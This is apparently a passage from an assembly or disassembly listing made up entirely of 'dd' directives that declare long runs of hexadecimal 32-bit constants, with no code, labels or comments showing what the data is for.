		dd 15C63C00h, 0CF0B809Fh, 1071274h, 2D40B0EEh, 0E23C7279h
		dd 80245D67h, 878B99AFh, 0F39CB1B0h, 603562CCh,	25C0835Ch
		dd 2C4CBB7Eh, 0C3580EE6h, 74499620h, 1164790Ah,	6FA680FEh
		dd 97A08FE5h, 4800E496h, 7176F9Eh, 7C92EDAh, 7567E482h
		dd 4035F147h, 0C07CE7h,	52A3CD6Ch, 0F8ABAD43h, 0AAC73EFEh
		dd 1FE23852h, 316E30h, 8625283Bh, 2A267FCDh, 64EE152Ch
		dd 20AC093Bh, 91D8C153h, 614038F8h, 356671F2h, 0DDC834BEh
		dd 0CD8DC300h, 0DEAFB3ADh, 621A0045h, 992A78B0h, 871F10DCh
		dd 8BC21367h, 0C8AC4D06h, 5B9A4394h, 9CB84090h,	5B61DDFEh
		dd 156172E6h, 87E01CA9h, 6A6960h, 0C80F548Eh, 91501459h
		dd 60E5DA0Bh, 0E2388EA4h, 0C5F54345h, 60A0E434h, 9C27DE5h
		dd 1F444155h, 47B4CC93h, 82896B5Bh, 0A0C95Ch, 38BB16A5h
		dd 0B53421C5h, 0BEFE8440h, 0FC2F4F9Eh, 4A07739Ch, 659C9248h
		dd 119404E0h, 0E8C8464Dh, 4F631FDAh, 387C8011h,	8C1488D6h
		dd 0C3E104Ah, 0DC006423h, 0E9C85F0Ch, 402C4E5Bh, 0D9B159Ch
		dd 648784D4h, 0D5526060h, 2C903031h, 8EC1F0F0h,	502001B7h
		dd 69809395h, 0ED9EA4B1h, 0C900B6C7h, 6C5613AEh, 48A91039h
		dd 910434DCh, 8812BC46h, 2F32866Ch, 2104F81Ch, 7C48696Fh
		dd 5F450240h, 5494169Fh, 0C14676E0h, 16A3F702h,	945089C3h
		dd 0A4624B2Ch, 7A746D4h, 53F37D65h, 0F064C02Fh,	0EC54BB5h
		dd 32A21D42h, 24844CDDh, 5900E0C0h, 0DC2D9FCDh,	3AE5ED67h
		dd 0BFBFB261h, 0E6FCE29Eh, 9AA7003Ch, 0B7C80737h, 6726904h
		dd 0B0C156E3h, 0B1AC9C83h, 9F467EF4h, 0FB6EA701h, 205693CCh
		dd 924F117Ch, 0C123703Bh, 1660F401h, 0B3B6DA3h,	9C04D5FCh
		dd 1114E427h, 352ECB43h, 8121C470h, 2C20FDECh, 8C22BC04h
		dd 0B066A003h, 0B105542Ch, 58846D07h, 0A3BB8AA6h, 406A5EFCh
		dd 0DE5E8700h, 0C5419B89h, 71C0D98Ah, 1B01864h,	80234233h
		dd 747C69D7h, 59E73DB0h, 0F27021E4h, 6AB7C860h,	295D4B6h
		dd 6FAA8088h, 96C08FE9h, 0A2985B8Ch, 0A400866Fh, 6B6D4F2Ah
		dd 514DBCFh, 8049D7E4h,	41C82129h, 24E02D3h, 0CC7C4C79h
		dd 1E4676h, 7E2CA52Eh, 3F3387D6h, 91837773h, 601F1037h
		dd 0E808C858h, 42008C23h, 0A0937695h, 13FB58DDh, 1412B79Ah
		dd 1BE81408h, 0F8C1018Ch, 8B52A2FFh, 0C097AFDh,	633C4F4Ch
		dd 56C8D1D0h, 0A07C91EFh, 97B70527h, 8069112Ch,	0B8F68441h
		dd 92A43998h, 1322CF01h, 7870C246h, 98E20h, 155988F4h
		dd 186D1DD7h, 3EC1938Bh, 1C6123E0h, 13FC8FE4h, 445B7089h
		dd 38A9BC71h, 1821D11Ch, 5E403BC1h, 23767300h, 0D18FDBAEh
		dd 0C2C01127h, 4FE85EB0h, 0B25A6460h, 911E1AC9h, 36C07C5Bh
		dd 29D98F89h, 0D30C68Ch, 179D88E6h, 80C691F8h, 9C8982CAh
		dd 0B2EA02E2h, 9B7A098Fh, 1E548009h, 0B692AB67h, 20465E84h
		dd 0DFF2EF00h, 0B06BD7DBh, 57248495h, 0B20C8901h, 0D4DDC114h
		dd 0B6FED016h, 0AC83BD8Bh, 4356F823h, 0EC5F3A0Eh, 0B76BA380h
		dd 0EA0A8D1Eh, 5AEC9648h, 0DBF490D2h, 0C3150230h, 0B605C701h
		dd 9EE898ACh, 9A5C128Ch, 0C22C248Ah, 605C6540h,	0A395FE60h
		dd 164B625h, 0E11839ABh, 8FEC60C6h, 28D346EBh, 2D47895h
		dd 5A30948h, 74D9171Eh,	6218C771h, 0A23C500h, 0E87C9998h
		dd 0A84113D5h, 0F96C220Bh, 0FBB4D20h, 315886Eh,	8F58516h
		dd 64C8FC8Bh, 0B8E001C0h, 0D67A4835h, 9744D42Eh, 0DABF011Ah
		dd 62AC56B5h, 339E20DCh, 0D1B9BF35h, 0E30555B0h, 8CC6DE00h
		dd 0D5295CD6h, 0F574BCh, 60C70FFCh, 571B0DA4h, 582010B0h
		dd 8CE54B0Eh, 48253734h, 0EFA8E077h, 141C9793h,	29C76E20h
		dd 0E495A3h, 199CB0E3h,	303C3F47h, 8CBF8032h, 49C7DDD9h
		dd 187B0028h, 87F10B57h, 0E14B3E17h, 2123342Fh,	7F6D9A00h
		dd 2E7B7C42h, 1308A822h, 2D54C825h, 18135540h, 18D55993h
		dd 9B61949Ch, 0EAA4C5A9h, 5FDAE880h, 89F009CDh,	0EE779700h
		dd 0C1E1FE75h, 93CFA34h, 1407A779h, 32635C80h, 7703CC5Ch
		dd 0ABB0657Dh, 8A5127C0h, 3D004437h, 3F24C007h,	91A905BFh
		dd 0E9D56AF0h, 90AC25CCh, 4D385Ch, 12A916A0h, 3B0CDBC4h
		dd 0CE905900h, 66EB22E8h, 603626ADh, 1089381Fh,	0F0687D2Bh
		dd 983EB16Fh, 0E0F5AEB6h, 0A2465Eh, 0B954F67Ah,	0B8FF1646h
		dd 33D02F24h, 0A691649Dh, 726687h, 825839CCh, 15C6FD01h
		dd 6461D5FEh, 49C166Bh,	4ADD984h, 24B0E435h, 1A82C712h
		dd 0B15805Dh, 764C71A6h, 1B90104Ch, 0B5BB1306h,	300938CCh
		dd 5A939A1Eh, 49D538E8h, 0F09E3820h, 42C55F00h,	2F0DBBADh
		dd 28A74D0Bh, 2D3E98D5h, 30D8C615h, 4019B271h, 0A1B506CEh
		dd 1F18359Ch, 6919824h,	2348360Dh, 87001051h, 0C180E3Fh
		dd 48736D7Fh, 6425BC0Ah, 2EFD64A1h, 4C2296h, 22D46653h
		dd 1D925C8h, 7764A219h,	0F4E8B404h, 0FC90DB7Eh,	31EA8600h
		dd 0E64A1314h, 5C3739F0h, 0B265E90Bh, 99099053h, 4787987h
		dd 0A0E77C6Bh, 0D15A91ECh, 4695B8D2h, 38D4008Ch, 0EC81D7EAh
		dd 0C10060E1h, 0B8656904h, 27BC488Bh, 0E04085BBh, 92036CCFh
		dd 0B3030EC1h, 8B102829h, 0D2F001ACh, 5AE7A3C0h, 55CEF115h
		dd 10900894h, 0CC784380h, 880734h, 0E967D0AEh, 8CEFE60Bh
		dd 0E7C0B1DDh, 0B54D29B6h, 6A632A27h, 25D92DB0h, 47D79060h
		dd 0CC513B25h, 796C4208h, 71147602h, 0F47F302Fh, 0CE040388h
		dd 9CE8B46Fh, 9B2E13FBh, 0CC9D6C69h, 4CEF9484h,	1161D940h
		dd 74914AA2h, 518A3D9h,	0DC39341Fh, 5AFE295Fh, 0C7C848CBh
		dd 75D84BC0h, 0A8370A08h, 0E4EFCFh, 0C60B8625h,	84090EA9h
		dd 0E03320ABh, 6974BFACh, 0E07B40BBh, 0BBC70h, 0B607DB3Bh
		dd 0D915369Ch, 0B5C02097h, 8452F747h, 0FCCBA94Ah, 8DC29EC8h
		dd 44FC6787h, 0A6096020h, 5F9E2AAh, 86377ADCh, 1BD827BEh
		dd 0CC1D502Bh, 0C8EC191h, 5FF981FCh, 0D54A0248h, 84B2EDFh
		dd 0FA78695Ah, 4E603830h, 80AC9E1Fh, 0AAF0E180h, 718E122Ch
		dd 0B2BC8840h, 8BD63000h
		dd 0B9AB2FB1h, 0B319C112h, 20B8459Bh, 49267754h, 1AA79404h
		dd 40907CACh, 37DDA4D5h, 9315EB05h, 70FDC84Dh, 1117810h
		dd 380E91DAh, 78F709A3h, 192EE908h, 305E19ECh, 80968614h
		dd 1C465Eh, 36133EB9h, 95590718h, 91EEC8A2h, 980AAC04h
		dd 53BCA8DCh, 9D01E457h, 0D907E6A5h, 68096A05h,	2D1C7139h
		dd 0E729940Eh, 5DC4C56h, 99E79BE3h, 750C8892h, 7946910h
		dd 5DA31509h, 84552CE2h, 0E53220A0h, 17DDF4A0h,	1C9767A3h
		dd 0B08D2034h, 465E9494h, 8B901C62h, 0B9C31482h, 8D44B0BEh
		dd 86D22215h, 0EB208090h, 0DB664F62h, 0E090803Ch, 959CB8Bh
		dd 0DF171256h, 62111C9Dh, 609D2987h, 0D10DA314h, 6957B8C1h
		dd 0A002790h, 370050E7h, 0BC151064h, 0B94D2F0Eh, 181AF19Ch
		dd 0F861253h, 2140E6FCh, 546448A5h, 96016146h, 3F4837A8h
		dd 0F0AC444Eh, 8F126A84h, 0F83AD050h, 0EF00A423h, 37532715h
		dd 20994CBFh, 0B6385412h, 4E150020h, 24401F53h,	0ECA9095Eh
		dd 0B0815183h, 3EBC496Fh, 0A72E406h, 50051631h,	0A56C80CBh
		dd 292690DBh, 36826C38h, 644C9189h, 4A123E78h, 9A04D400h
		dd 20AC27BDh, 68C08B4Ah, 4B59E931h, 0E1A0D58Eh,	0E8083C00h
		dd 91E08C1Ah, 0A3AE0917h, 7802C44h, 0F254B217h,	9A3130A0h
		dd 0E4CC665Ah, 91D80077h, 54AC8912h, 5C008E69h,	3C5A2E26h
		dd 4BC4F1BBh, 6F908D61h, 0BE00B46Eh, 0D5B613BFh, 0E8959717h
		dd 0F91A0954h, 1E8B7300h, 2D2C13BFh, 0B067043Eh, 0E60C444h
		dd 0DC1FB802h, 3BDC6BEFh, 7602EE26h, 0E18CDE16h, 1CE8DD4h
		dd 410812BBh, 0FE36443Ch, 6703C5Bh, 0CFAE0057h,	586A3D63h
		dd 5920EED5h, 0C6B500ACh, 0FD124821h, 9A013D13h, 0D60CBD6Dh
		dd 3C7C6937h, 921D6010h, 0A0C8288Ah, 0D3B275C0h, 8174BE35h
		dd 457D762Ah, 0C06DC894h, 0A00D1FAh, 0B921A7D7h, 2714FC78h
		dd 0B8B7E2DFh, 0E3168500h, 48BD0854h, 3E10500Eh, 40AB098Ch
		dd 6E7820F6h, 5C84Ah, 883C0B46h, 0BF2D84DEh, 0C44D2A0Fh
		dd 0E83A93EEh, 0B8016423h, 266DEB3Fh, 4CA0142Eh, 738CA3FCh
		dd 97A0009Eh, 0E991B11Dh, 0C8C0B915h, 0BEC1F13Ch, 5AA0C834h
		dd 0AD180D80h, 84B3A4h,	8C86125Fh, 3B3EB16Dh, 62929A3Dh
		dd 0AEBA3429h, 0A4D32198h, 4B20A2D9h, 33940071h, 0EA189D43h
		dd 3512DC61h, 840340h, 4DFBCACh, 527F2B48h, 0B7CBC6Fh
		dd 0FF1612BEh, 1D5C5482h, 0DCB85104h, 86435A2h,	0AB93BC00h
		dd 6C16BA8Dh, 0C9EA02E3h, 48300B8Eh, 849D6464h,	453CC90h
		dd 3D345F0h, 0A4246175h, 95517304h, 804CDB90h, 0F3C51CE4h
		dd 4170C02h, 0F4719496h, 0CB70AB00h, 0D3DE9DB4h, 7C560281h
		dd 90069BB8h, 5259B05Ch, 0DAE3120Bh, 2BA0E1h, 0EE4BADC0h
		dd 0CE0EDC5Ch, 0FDAC4E17h, 0E044F04h, 6786B0B8h, 0D46829FCh
		dd 40C1821h, 74BA49B3h,	0C02F4F0Ah, 67693E4h, 406CD72Eh
		dd 0AD1E508h, 80B8BC35h, 0FF3A7611h, 0B500282Fh, 0EF669DB0h
		dd 5CAAB631h, 0D1A154A7h, 7CA61482h, 0AED850E7h, 4E1DEB5Bh
		dd 635CECE4h, 8BCE565h,	0BA2FAFEFh, 0C4386554h,	0E7FD60A6h
		dd 477309BCh, 32E3EBBAh, 8AA882D0h, 0AD999B12h,	66EC6CECh
		dd 7C2F008Ch, 1C3F9AB3h, 9CB17462h, 77C38300h, 0FF3438h
		dd 0F86C5E29h, 17C0CDDEh, 2D57D302h, 0E1A85044h, 560A7E7h
		dd 80995401h, 14D50267h, 0C51FFA0h, 418BA8E1h, 502849E0h
		dd 0C7C1DAC4h, 38045300h, 5AEE0D5h, 0BFA0A402h,	3B0090B7h
		dd 7CE87A49h, 5E3113F2h, 0A30C0EB1h, 0A0C984B0h, 23683BBBh
		dd 26500C5h, 6FADBAABh,	478C1A97h, 616344C0h, 2ACD9D5Eh
		dd 4FB5A460h, 0C1EC7495h, 0AA1A08h, 95CA1135h, 1D11501Fh
		dd 3020488Eh, 58C5F101h, 0C3166C1Dh, 51502BA5h,	0DE00264Ch
		dd 742EA002h, 0D6A2F86Dh, 806225C8h, 0D5FE9C40h, 4DAAFC25h
		dd 475AC0E4h, 922E6EDCh, 0B831DC18h, 0EC04E05Dh, 3E5F8094h
		dd 9AC7BD6h, 0EAB06C25h, 0B24010F0h, 0B41A97A7h, 6625B854h
		dd 3B5B28ACh, 0C5990B78h, 0E8E7174Bh, 0B5602044h, 2E0B28D6h
		dd 0BF0C713h, 915C9FE4h, 3E998023h, 0A956F3h, 0FA1AD5AFh
		dd 7E2DB29Dh, 0AC068105h, 40A0FF20h, 68270B86h,	0B4D2BB14h
		dd 45FCE200h, 0C37FA0AEh, 90ED959Ch, 99F43EC0h,	10A094C0h
		dd 47B509B1h, 0A5F878AFh, 404D2FDCh, 0A5822744h, 251CDC53h
		dd 0D77EC466h, 689C5F71h, 0C4A97289h, 8F8F4FD4h, 0C067886Ch
		dd 2423577Dh, 8B037EE0h, 0FE9C5692h, 0BB9EA1DCh, 1CA460C4h
		dd 0C0379A0Bh, 4D21C2EDh, 8F05E306h, 9399D080h,	0A3813h
		dd 0BBC08465h, 124BDE49h, 3E1E8042h, 0A623ACh, 0F9ABB817h
		dd 67FE8584h, 0A3167E04h, 0D8BDB53Dh, 15CD0BC1h, 8851C18Ah
		dd 243C78h, 2FABFEDDh, 5BFFB48h, 3CC208DCh, 0E90B20D0h
		dd 35E0589Eh, 8441D508h, 8B150308h, 683BC065h, 30DD02CDh
		dd 0D450D6D8h, 0C84676D4h, 5874CA5Fh, 64BF10D0h, 5DD1CD09h
		dd 0AC18F87Eh, 2822D39h, 0FE4F2715h, 305C34EFh,	6F28C549h
		dd 0E7D68031h, 0EBD9A0Ch, 8E27671Bh, 0D1EBC0E4h, 7AC71608h
		dd 7E9C6Eh, 4571429Ah, 931FB5ECh, 0DAB9D125h, 0FB182518h
		dd 2386D480h, 30901B67h, 5A740227h, 64161E54h, 0A77E8969h
		dd 68D13C0Bh, 9D377100h, 7A324Ah, 52307F2h, 0E7C804C0h
		dd 74590801h, 9C5EE4D8h, 74DEB430h, 0E90C0EDCh,	8FC22EAEh
		dd 0A8A169E1h, 6E06F50Bh, 69237C2Fh, 0CA70A400h, 3466Dh
		dd 1E05E249h, 26918638h, 0C49E9498h, 51D465Eh, 92129747h
		dd 3A45C800h, 79762D10h, 6028ADABh, 0B39F716Bh,	0D18FDA09h
		dd 720A059h, 0BD51C60Eh, 0C3912817h, 175C4181h,	8536D857h
		dd 0B509567Ah, 5E61AF27h, 0C4467E9Ch, 3FA55E01h, 0C794970Eh
		dd 70D300E4h, 0FBFD54h,	1A8A1452h, 0B079E991h, 28E0C9D0h
		dd 0E038F4A3h, 532093ABh, 479194C0h, 3809973Ah,	1AD990F1h
		dd 22EFED19h, 3D9B03BCh, 0B1215502h, 69D47542h,	0B44B60Ch
		dd 0E482D789h, 385C1014h, 0C1164571h, 58169340h, 8610208Dh
		dd 0F0FC0295h, 567EB0C1h, 80442560h, 0C0BBAE01h, 12F9E4B8h
		dd 0F2ECF0h, 0F3A6276Ah, 0E3151022h, 7CABA72Ch,	8EA6664h
		dd 0E02609BCh, 740E4301h, 0D83E5A15h, 2D12A9C4h, 34123778h
		dd 21A2C8F3h, 0DA2530h,	393AFF92h, 0EE846255h, 0C0615763h
		dd 5B789973h, 42DEBFCh,	0FF6E04E1h, 0FC31AAABh,	202A9C96h
		dd 0FFC9446Ch, 50708C00h, 22B24E15h, 94173C0h, 1AB3576Dh
		dd 8D704473h, 61BE003Fh, 99A0FFFDh, 826405EFh, 70F94CA9h
		dd 541ECB8h, 0ED13B4FFh, 8353C878h, 0A21C7EECh,	20730DF9h
		dd 0A7404904h, 8B8A090Bh, 90F2DD71h, 2372420h, 67B305F4h
		dd 6CC0D6ADh, 3DB52E50h, 0FA1D0320h, 0B2D1313Fh, 0BC812A8Ah
		dd 9034A033h, 73BF18C0h, 85ADB918h, 9B961901h, 0A81FFE30h
		dd 0A050F3F8h, 25D19788h, 0E853527Eh, 6B805A10h, 0ACFC6F5Eh
		dd 0D215EA17h, 11BB74D1h, 16028C48h, 20FB92AEh,	0B621C334h
		dd 14042197h, 243C958Bh, 9A0C883Dh, 0CC612A89h,	150A7706h
		dd 20287502h, 7D13B199h, 28B87849h, 690C4418h, 0EE4A018Fh
		dd 148040C4h, 136DD7DFh, 0E1B59BBCh, 8F95C4DCh,	87E44095h
		dd 68140031h, 0AE128241h, 0CC38D715h, 4EEF958Bh, 0A54879E4h
		dd 0AECD1815h, 24697540h, 83FC13B4h, 9C9553C6h,	0DAC3E900h
		dd 8371614Bh, 66D20074h, 0DF26EFA5h, 0EA01B31Ah, 0AD0C8919h
		dd 0B1801672h, 3F173D6h
		dd 243CB95Ah, 61EF0022h, 0FAED84A4h, 0A8BE95h, 0BC1C41E6h
		dd 39C1220Dh, 0BEDE0137h, 0D395E889h, 0C520A0E4h, 2F0FB0E0h
		dd 940F0727h, 0EC830BA0h, 0F94ED991h, 16BB68C1h, 222AD049h
		dd 48236ED0h, 56538A30h, 315C8BCCh, 8B0558F9h, 0B0ECDD69h
		dd 99020888h, 55962BBDh, 59AFC818h, 6458E795h, 81CF6068h
		dd 8B263D61h, 6D35C901h, 3F9C3175h, 8C1724C5h, 0AAE064B6h
		dd 4712B624h, 0ECA9562Fh, 98CC3BCh, 0D195A42Bh,	842B145Ch
		dd 0C7280C3Ch, 31BF685Ch, 0FF18B41Ah, 0A9D841D8h, 8DCF00DAh
		dd 5EB89687h, 0BD091B46h, 0A4D94862h, 0DB18C479h, 0B442D909h
		dd 4C7953h, 0E39CBA4Bh,	123BD369h, 5C0D80D6h, 0C315AE5h
		dd 5C4C9E17h, 0E6B018F5h, 9D590007h, 487DA356h,	0A7F0DE9Fh
		dd 959A0B0Bh, 4880DA4Dh, 0DA802067h, 7431D766h,	0C901E4Eh
		dd 761C3Fh, 0BE59AB67h,	8E951DC8h, 9492D65Eh, 11509740h
		dd 0BB6E80C6h, 0A7F3C48h, 0CF15A463h, 0FF8F6FE0h, 0A5A42172h
		dd 0AC6069F5h, 0EA15012Eh, 0CF5F2F68h, 0C314E027h, 48F0D54Ah
		dd 8B342559h, 0D4DBFC51h, 3848C160h, 5DCAAF01h,	0A4A45CFh
		dd 804C0070h, 0F0028CE0h, 0B46B1826h, 0DA9E6156h, 25EE02E0h
		dd 54C41608h, 6A940B00h, 1837B89Dh, 0B0685D07h,	42A5E912h
		dd 0DF41BB90h, 64D09755h, 9DF067A2h, 0A0D033AEh, 4B382FF8h
		dd 22508ACFh, 31D5139Fh, 42C84DBCh, 5DEFFC49h, 1D4021DDh
		dd 0DDA5EDF9h, 0B86A0086h, 0B9412B6Dh, 0FB2579B1h, 857C5901h
		dd 817A076Ch, 29172EF2h, 743AC6Ch, 85FB55ECh, 0A983006Bh
		dd 1B97871Ah, 0A1C13244h, 34443459h, 5A8F402h, 5CE9E6EBh
		dd 0DA4515Ch, 62E27822h, 2C2EC730h, 49F8746Fh, 215B835Fh
		dd 37EEE02Ch, 0B2DD0082h, 0CF0C6CB9h, 0F5173B1Fh, 0B0B7965Fh
		dd 0B2A8C11h, 54F869D7h, 0CBEA1398h, 0C01BC8ECh, 13415992h
		dd 53DF1725h, 0CCBC70C8h, 86488D76h, 0CF9501ABh, 7F1305Bh
		dd 209B5464h, 8CBECCD5h, 0D430D6E9h, 0DC11700h,	7D513012h
		dd 9EC227B6h, 0C7135410h, 0A91C8F00h, 0DFF51E58h, 0F3A8004Ch
		dd 1207CEE4h, 3A975E39h, 0D634D680h, 3C77C57Fh,	0D0D5D125h
		dd 2E16EEC8h, 11B89CE0h, 744E610Ah, 202A96A6h, 52038E4h
		dd 3C3DC50h, 5F34C14Ch,	21C8608Bh, 0C0FA35C2h, 489274Ah
		dd 909AABA0h, 80ECEC51h, 1545F46Ah, 8EA6096Bh, 6884DAC1h
		dd 52005DBFh, 0B90945B0h, 0B1C00012h, 0EAE0D14Ah, 0B44C1BA8h
		dd 48EF25E4h, 1D6FBD80h, 0FC493Bh, 4D3AC86Ch, 0FA3FDC79h
		dd 93B80081h, 5B654317h, 5EE400DDh, 25AEE0CDh, 0A05209EFh
		dd 3023E270h, 0A38012Dh, 0F5310371h, 0FAD5C7A8h, 6194600Ch
		dd 0E80E83B5h, 0CF63A775h, 40E1898Ch, 12D5AD4Ch, 0A77EEF27h
		dd 0BBB0CC4h, 1756690Eh, 4AF43975h, 16E8E59Ch, 429C87A4h
		dd 88C8B174h, 8B12CD6Ch, 9CE3E7BFh, 9CA77327h, 83D8B0A9h
		dd 0AD4D1379h, 0F09B5AA4h, 0FE15B4C0h, 3C2D4977h, 4A84722Eh
		dd 0A758B440h, 2D5A1990h, 7BCDE480h, 17B571D3h,	0CB0C13C6h
		dd 0C063C8BCh, 29B020F3h, 2EA180A1h, 0DC0CE8C0h, 29CD6015h
		dd 14740B4Ch, 9B53F1C0h, 1D5165D7h, 2752309Ch, 430999F0h
		dd 0D1160E2Dh, 0A4C22738h, 74F02955h, 8E00D680h, 1DF51C14h
		dd 162ED0Ch, 0E2279A32h, 20E51612h, 84410B8h, 43472D91h
		dd 0A3E4E045h, 0B3715160h, 0D6522713h, 8A946404h, 4F1420AEh
		dd 1850BC69h, 2502F2C8h, 1542199Ch, 0B53CC4DAh,	7A79F010h
		dd 0B4514A00h, 0F66FFEFCh, 7F7B3Ah, 2725625Dh, 2D6BF80Dh
		dd 2C2A8F02h, 0B74E3C60h, 0B2AA81DCh, 0DCC5E42Bh, 2B57CB6h
		dd 4304C9Ch, 0B427AF17h, 0EFDAFD40h, 85538860h,	749E4E03h
		dd 88156EA7h, 5714E9h, 0B9F9B64Fh, 2FC89D38h, 44ECC99Dh
		dd 0AA88343Ah, 5402B86Eh, 0B449D53Eh, 0EB17ECD4h, 628044DBh
		dd 1E125CD4h, 2AE4CF00h, 314D9F9Dh, 8449C88h, 6B8F0D73h
		dd 0F1181BFh, 8B2B2E4Fh, 41D50970h, 90458A0h, 0C589A395h
		dd 68B628F2h, 4E88A96h,	0E347D7C1h, 35C03877h, 48FC4981h
		dd 2744FD83h, 39F15CD8h, 1035B304h, 4D417EE3h, 387061h
		dd 125836DAh, 0E24A8ABDh, 58D6C858h, 997FC82h, 1685848h
		dd 16736D4Dh, 209BF07Ch, 9C121084h, 58E3A409h, 296F213Dh
		dd 1803215Ah, 494CD4A4h, 0C6957449h, 918B0074h,	87F10D0Ch
		dd 0E409FB2Fh, 0C3860139h, 76F5E2ECh, 3D0ED6F4h, 0CEC6373Ah
		dd 304864FEh, 313060BEh, 15800AD9h, 98C4A5E0h, 365F71EBh
		dd 222FB0B0h, 7FFCBA1Eh, 5D0030B5h, 24A6B383h, 2058B8E4h
		dd 4B04C4FDh, 4607D842h, 13BC94EDh, 9C12D502h, 0CC9299FCh
		dd 0DF5E00D0h, 864A07D1h, 0D9125B70h, 0F8AC4491h, 0E092FC2h
		dd 731F147Ch, 8AAD25E0h, 0AE70087Bh, 0A0B09Ch, 59EFD15h
		dd 8F1CC5ECh, 0AD667500h, 911F45FCh, 0C29CEAABh, 0BEA676A0h
		dd 46D61C56h, 0A92E001Eh, 8F670BAAh, 8DFA3001h,	2320ABD0h
		dd 5CCC8B9Fh, 0A102DC40h, 8B253C07h, 40ECD450h,	0AE7CF208h
		dd 8C8D4E4Bh, 0F77AD08Fh, 0F103722h, 0B725F8F6h, 9E6209F4h
		dd 1EF01C82h, 2FCC700Bh, 48494F32h, 7FCF1017h, 4AB00DCh
		dd 9B05AD1Ch, 480065A0h, 0A7A97490h, 32D9E70h, 0C8D29A56h
		dd 37D061ADh, 8095CB28h, 6DE19134h, 4C679FB2h, 460C364h
		dd 0A62C7489h, 7360509Fh, 0F5F3618h, 5ED493Ah, 86101E3h
		dd 0B7ECF7F8h, 0AF778816h, 7C8BCC09h, 6ECF8528h, 0F288F28Fh
		dd 0F52301Ah, 0C0EDD127h, 2514A428h, 14736C56h,	0B0B84170h
		dd 3CEF206Ch, 2C420B00h, 11358363h, 90679DBEh, 29601DC4h
		dd 57251BCEh, 0D1EC71F5h, 137F1863h, 60957230h,	0EF483748h
		dd 54DD3EE9h, 5D2B1888h, 0E4E19C17h, 69A40F3Fh,	2C315501h
		dd 8CDC2B1Ah, 206090ACh, 9109653Fh, 0A1A0BDD9h,	0B19B8AC8h
		dd 3090C28h, 0F4560E26h, 93F074E6h, 39F0D020h, 0E0AE0927h
		dd 5F9A42F0h, 8244D98Dh, 0BD7667C0h, 0DCC05CE2h, 10986258h
		dd 573B7FD7h, 0A410D0h,	0BE7C743Bh, 6AC1EFD5h, 840BE700h
		dd 4E316310h, 92DD1357h, 5A5829A7h, 7824C3F0h, 207CB1D7h
		dd 0F04AA86Dh, 6440FBCCh, 0B2CE3015h, 0C522D99h, 0B118E412h
		dd 393D1304h, 71D70098h, 22754227h, 6B165B5Dh, 133A5014h
		dd 12919A00h, 4209D50Ch, 20CE950Eh, 4A158D44h, 0D95028D1h
		dd 0EDE6280Fh, 0DA84473Fh, 549DE710h, 91B00247h, 0AA16A17Ah
		dd 4FB35040h, 0C5D1D883h, 76CCB69Eh, 5201C246h,	0E98F2B14h
		dd 162068F9h, 0F38B72h,	7D3168A2h, 1ED1FCECh, 0C4AFCFDFh
		dd 0FA2E5BF5h, 0CC81EC31h, 0BCD48104h, 57510225h, 0ED9F341Ch
		dd 350B40CCh, 5127D96h,	742F174Ch, 4D00C423h, 108BA3D6h
		dd 0C86F438h, 2F73F01Fh, 0A71BFE99h, 0C5D1E768h, 3538047Fh
		dd 10109730h, 0EEFCDAF7h, 0E2721A1Fh, 85CFCE80h, 706C26E1h
		dd 0D00500E8h, 0F6EF3A84h, 3F300B32h, 0F49C48D2h, 107D2Dh
		dd 93A650D5h, 0D303C747h, 6EAAF200h, 7EFBC92Ch,	74B00092h
		dd 0A90749C0h, 0CC015C1Fh, 9DD0E8Ah, 0DE876D6h,	3055ECA2h
		dd 0F6529F66h, 0F9783749h, 88D21D01h, 0E276AA25h, 16E3D370h
		dd 0BC75DDh, 0A515D078h, 8700091Ah, 0B39341CBh,	0CD448Ah
		dd 0F27E8B58h, 4B550A6Bh, 1AE0C806h, 3B106C97h,	510025F0h
		dd 0F6733904h, 3860A48Dh, 3ECCFD50h, 1055009Fh,	3D66E0F5h
		dd 0F3015BCDh, 72B18B77h, 0D0FC62C8h, 0FE1F002Ch, 63318218h
		dd 0DC12DB16h, 0AFCA8Ch
		dd 5610EC79h, 0C30008C2h, 0E65F1225h, 0FC8B9D05h, 0CFFA0Eh
		dd 0DBBBABE9h, 79F8B6F1h, 99490F03h, 0B8E72450h, 0D1E01Dh
		dd 583BC195h, 0AF62DF5Ch, 0A02C8200h, 7973E381h, 14D5008Fh
		dd 2E8448CAh, 3800D9A3h, 0D0EE4DE7h, 0D9B6809h,	2B9543E1h
		dd 0A1F0C3A0h, 17033185h, 0B2487193h, 819EC08Fh, 914718EDh
		dd 0FEEA28AFh, 62156603h, 0A0C61E0Ah, 5043F465h, 3D5A9030h
		dd 3380CF6Ch, 0BB978178h, 4F001412h, 0C22ACCFFh, 9D9E5Eh
		dd 87709A3Fh, 0B477C166h, 0B643A600h, 536E956h,	754B00F6h
		dd 0C5091F5Ah, 0DB308C49h, 4673611Ah, 0D110078h, 8B27D2EDh
		dd 45F83582h, 7C72641Ch, 6A74C787h, 0CD00FDB5h,	0EA9BA05Ah
		dd 27050334h, 0F67A2006h, 0D3C83Ch, 7210D404h, 1D99F7h
		dd 515A5ECh, 38A8EB21h,	0A9BC2007h, 0FE807976h,	0F6963AD7h
		dd 3EEA008Eh, 6B013B94h, 0E2E4B4CEh, 21C5F601h,	0CF7D1BF9h
		dd 45D46082h, 5C4091AAh, 0BB000103h, 2484D84Fh,	96C5B3h
		dd 0FA027692h, 4A392986h, 6056873Ah, 9095AF70h,	77BF0728h
		dd 0A0493C92h, 5B842F60h, 8480CA90h, 35F41BB4h,	3368F00h
		dd 2FF10982h, 179D02AEh, 0C0555DEEh, 0E00EF487h, 0DBDD793h
		dd 0DB606100h, 0FB2BFF7Dh, 50C43FE1h, 6CBC6F00h, 9B7BE273h
		dd 0B1365103h, 258EFC8h, 6B544868h, 0EC561A25h,	7F89CD00h
		dd 6034E341h, 5B8EE837h, 2C01E009h, 0C796B49Dh,	21F064AEh
		dd 67C5EAD7h, 0B01E48D0h, 0C4FFCB5Ch, 0E6411D24h, 0C5608100h
		dd 42E5F6Fh, 0A34EDCD8h, 0FCC08070h, 3300C3FAh,	189AEF50h
		dd 28539D3Ch, 906701h, 29DC51A5h, 0B1E14C77h, 7CA24A01h
		dd 78617EBCh, 0EAEC64EEh, 6CC60097h, 1A5ECB62h,	900993EFh
		dd 88A06Ah, 167EE0BDh, 8AD800D7h, 460AFFCCh, 78CF5FBCh
		dd 0D33D2715h, 2DD483D9h, 5A83D0ACh, 0B77400C4h, 58B140A9h
		dd 0AB38453Dh, 38870089h, 7E2DC3C2h, 51D50FB7h,	402121E8h
		dd 80C15C7Dh, 3A9FB5B8h, 3EE4BBFh, 4AF7041Dh, 128929C8h
